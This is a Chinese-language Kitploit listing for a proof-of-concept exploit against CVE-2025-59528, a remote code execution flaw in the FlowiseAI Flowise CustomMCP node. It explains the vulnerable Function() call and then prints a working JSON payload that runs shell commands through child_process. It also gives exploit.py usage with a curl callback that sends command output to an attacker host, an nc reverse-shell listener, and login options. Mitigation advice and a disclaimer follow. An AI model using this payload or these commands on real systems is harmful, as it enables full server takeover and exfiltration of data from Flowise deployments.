Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-59528-POC — CVE-2025-59528 - FlowiseAI CustomMCP 远程代码执行 | Kitploit
工具/GitHubGitHub/usifaraby/cve-2025-59528-poc
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育远程访问工具Payload 开发
GitHubusifaraby/cve-2025-59528-poc

CVE-2025-59528-POC

CVE-2025-59528 - FlowiseAI CustomMCP 远程代码执行

查看仓库
1176个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-59528 - FlowiseAI CustomMCP 远程代码执行

CVSS 10.0(严重) | 盲式 RCE | FlowiseAI Flowise >= 2.2.7-patch.1 且 < 3.0.6

概述

FlowiseAI Flowise 的 CustomMCP 节点中存在一个严重的远程代码执行漏洞。convertToValidJSONString 函数将来自 mcpServerConfig 参数的用户输入直接传递给 JavaScript 的 Function() 构造函数,其功能等同于 eval(),从而允许以完整的 Node.js 运行时权限执行任意 JavaScript 代码。

  • 发现者: Kim SooHyun (@im-soohyun)
  • 安全公告: GHSA-3gcm-f6qx-ff7p
  • 修复版本: Flowise v3.0.6(使用 JSON5.parse() 替换了 Function())

漏洞代码

在 packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts 文件第 262–270 行:

function convertToValidJSONString(inputString) {
    return Function('return ' + inputString)();  // ← arbitrary code execution
}

污点传播链:

HTTP POST → /api/v1/node-load-method/customMCP
  → controller.getSingleNodeAsyncOptions()
    → service layer
      → CustomMCP.listActions()
        → convertToValidJSONString(mcpServerConfig)  // Function('return ' + userInput)()

漏洞利用

这是一个盲式 RCE 漏洞,命令输出不会回显在 HTTP 响应中。请使用回调技术(curl/wget)或反弹 Shell 来确认执行。

利用条件

条件详情
Flowise 版本>= 2.2.7-patch.1, < 3.0.6
网络访问端口 3000 上的 API 端点(默认)
身份验证对于 < 3.0.1 可选,对于 >= 3.0.1 必需

攻击载荷

{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "{x:(function(){const cp=process.mainModule.require('child_process');cp.exec('COMMAND',()=>{});return 1;})()}"
  }
}

使用方法

pip install requests

检查目标是否存在漏洞(基于时间)

python3 exploit.py -t http://target:3000 --mode check --email [email protected] --password pass

盲式命令执行

# Exfiltrate output via callback
python3 exploit.py -t http://target:3000 --mode exec \
  -c "curl http://ATTACKER:PORT/\$(id | base64)" \
  --email [email protected] --password pass

反弹 Shell

# Start listener
nc -lvnp 4444

# Fire exploit (auto-tries bash, nc, python)
python3 exploit.py -t http://target:3000 --mode revshell \
  --lhost ATTACKER_IP --lport 4444 \
  --email [email protected] --password pass

身份验证选项

# JWT auth (Flowise >= 3.0.1)
--email [email protected] --password pass

# Basic auth (Flowise < 3.0.1 with FLOWISE_USERNAME env)
--username admin --password pass

# Raw cookie string (fallback)
--cookie "token=eyJ...;refreshToken=eyJ...;connect.sid=s%3A..."

修复建议

  • 升级至 Flowise >= 3.0.6
  • 限制通过防火墙/VPN 访问 API
  • 启用所有实例的身份验证
  • 监控发送到 /api/v1/node-load-method/customMCP 的 POST 请求日志

参考链接

  • NVD — CVE-2025-59528
  • GitHub Advisory — GHSA-3gcm-f6qx-ff7p
  • SonicWall 威胁分析
  • 修复提交 — Flowise v3.0.6

免责声明

本工具仅用于授权的安全测试和教育目的。未经授权访问计算机系统是违法行为。测试前请务必获得适当授权。

下载工具